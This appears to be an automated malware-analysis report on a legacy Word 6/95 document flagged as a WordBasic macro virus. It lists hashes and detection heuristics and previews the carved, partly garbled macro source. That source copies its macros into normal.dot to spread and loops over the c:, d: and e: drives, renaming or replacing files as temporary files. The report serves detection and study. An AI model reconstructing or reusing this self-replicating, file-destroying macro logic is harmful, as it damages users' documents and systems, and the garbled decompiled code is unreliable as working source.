Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dc95959430ea59e2…

MALICIOUS

Office (OLE)

9.0 KB First seen: 2012-06-14
MD5: 8b8830f8fac2750be14cc35484432d11 SHA-1: 6aa688769b7f1dea20dd2b392a9d52fe78ff82d3 SHA-256: dc95959430ea59e27c95ddb32b49097a02d0aa9a294b052f53684816e2cd567a
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, specifically identified by "RSN MACRO VIRUS Goat file" markers and ClamAV detection as Win.Trojan.Uhrjap-1. The presence of WordBasic macro virus markers strongly indicates its intent to replicate and potentially execute malicious code within the Office environment. No specific IOCs beyond the virus marker were extracted.

Heuristics 3

  • ClamAV: Win.Trojan.Uhrjap-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Uhrjap-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 3027 bytes
SHA-256: 5c19288d1165b038a57bbcd2181976837b902c2627900dad80a4e561240fb054
Preview script
First 1,000 lines of the extracted script
, 29551 29551 25934
MAIN
tmin = 10
countdir = 1 @cmd80e8 @cmd818c 2
@cmd8009 @cmd80e9 @cmd818c 2 , countdir , 3 = "col"
dircol$ = @cmd80e9 @cmd818c 2 , countdir
@cmd80ae @cmd818c 2 = "\" = dircol$
countdir
@cmd80ad @cmd818c 2 = "\" = @cmd8007 @cmd81fd @cmd8201 20 = ".col"
@cmd8006 dircol$ = @cmd81fd @cmd8201 20
@cmd00d7 = "DelNew" ,
@cmd80b3 @cmd8008 @cmd800d , 3 = @cmd8007 @cmd8006 @cmd8009 @cmd800d , 2 = tmin , "one"
MAIN
disc$ 3
disc$ 1 = "c:\"
disc$ 2 = "d:\"
disc$ 3 = "e:\"
disc = 1 3
disc$ = disc$ disc
count1 = 0
name$ = @cmd80a1 disc$ = "*.*"
, - * q
name$
filedel$ = disc$ = "~tlp" = @cmd8007 count1 = ".tmp"
name$ filedel$
name$ = @cmd80a1
count1 = count1 = 1
@cmd6419 , - * w
countdir = 1 @cmd80e8 disc$
d$ = @cmd80e9 disc$ , countdir
name$ = @cmd80a1 disc$ = d$ = "\*.*"
count = 0
name$
, - * r
filedel1$ = disc$ = d$ = "\" = "~tlp" = @cmd8007 count = ".tmp"
name$ filedel1$
name$ = @cmd80a1
count = count = 1
countdir
disc
MAIN
MAIN
test = 20
con = 0
macdel$ 6
count = 1 @cmd80b7 0
@cmd80b8 count , 0 = "dotopen" @cmd80b8 count , 0 = "autoclose" @cmd80b8 count , 0 = "dotclose" @cmd80b8 count , 0 = "one" @cmd80b8 count , 0 = "DelNew"
con = con = 1
macdel$ con = @cmd80b8 count , 0
count
con = 5
* endd
con = 0
* copy
numdel = 1 con
@cmd00de , = @cmd818c 2 = "\normal.dot" , = macdel$ numdel , = 3
numdel
@cmd00de , = @cmd8025 , = @cmd818c 2 = "\normal.dot" , = "normclose" , = 3
@cmd00de , = @cmd8025 , = @cmd818c 2 = "\normal.dot" , = "autoopen" , = 3
@cmd00de , = @cmd8025 , = @cmd818c 2 = "\normal.dot" , = "autoclose" , = 3
@cmd00de , = @cmd8025 , = @cmd818c 2 = "\normal.dot" , = "one" , = 3
@cmd00de , = @cmd8025 , = @cmd818c 2 = "\normal.dot" , = "DelNew" , = 3
@cmd00de , = @cmd818c 2 = "\normal.dot" , = "autoclose" , = "dotclose" , = 3
@cmd00de , = @cmd818c 2 = "\normal.dot" , = "autoopen" , = "dotopen" , = 3
@cmd00de , = @cmd818c 2 = "\normal.dot" , = "normclose" , = "autoclose" , = 3
@cmd00d1 = 0
countdir = 1 @cmd80e8 @cmd818c 2
@cmd8009 @cmd80e9 @cmd818c 2 , countdir , 3 = "cnt"
cnt$ = @cmd80e9 @cmd818c 2 , countdir
cnt$ = "0"
countdir
@cmd8002 @cmd800e 50 = 10 @cmd00d7 = "DelNew" , , = 0
@cmd8006 cnt$ test
@cmd80ae @cmd818c 2 = "\" = cnt$
@cmd80b3 @cmd8008 @cmd800d , 3 = @cmd8007 @cmd8006 @cmd8009 @cmd800d , 2 = 1 , "one"
MAIN
@cmd0056
dlg @cmd004e
dlg
dlg "1"
@cmd0054 = @cmd8025 , = 1
@cmd00de , = @cmd818e , = @cmd8025 , = "dotclose" , = 3
@cmd00de , = @cmd818e , = @cmd8025 , = "dotopen" , = 3
@cmd00de , = @cmd818e , = @cmd8025 , = "autoclose" , = 3
@cmd00de , = @cmd818e , = @cmd8025 , = "one" , = 3
@cmd00de , = @cmd818e , = @cmd8025 , = "DelNew" , = 3
@cmd00de , = @cmd8025 , = "dotopen" , = "autoopen" , = 3
@cmd00de , = @cmd8025 , = "autoclose" , = "normclose" , = 3
@cmd00de , = @cmd8025 , = "dotclose" , = "autoclose" , = 3
@cmd0053
countdir = 1 @cmd80e8 @cmd818c 2
@cmd8009 @cmd80e9 @cmd818c 2 , countdir , 3 = "cnt"
cnt$ = @cmd80e9 @cmd818c 2 , countdir
@cmd80ae @cmd818c 2 = "\" = cnt$
cnt$ = "0"
countdir
@cmd80ad @cmd818c 2 = "\" = @cmd8007 @cmd8006 cnt$ = 1 = ".cnt"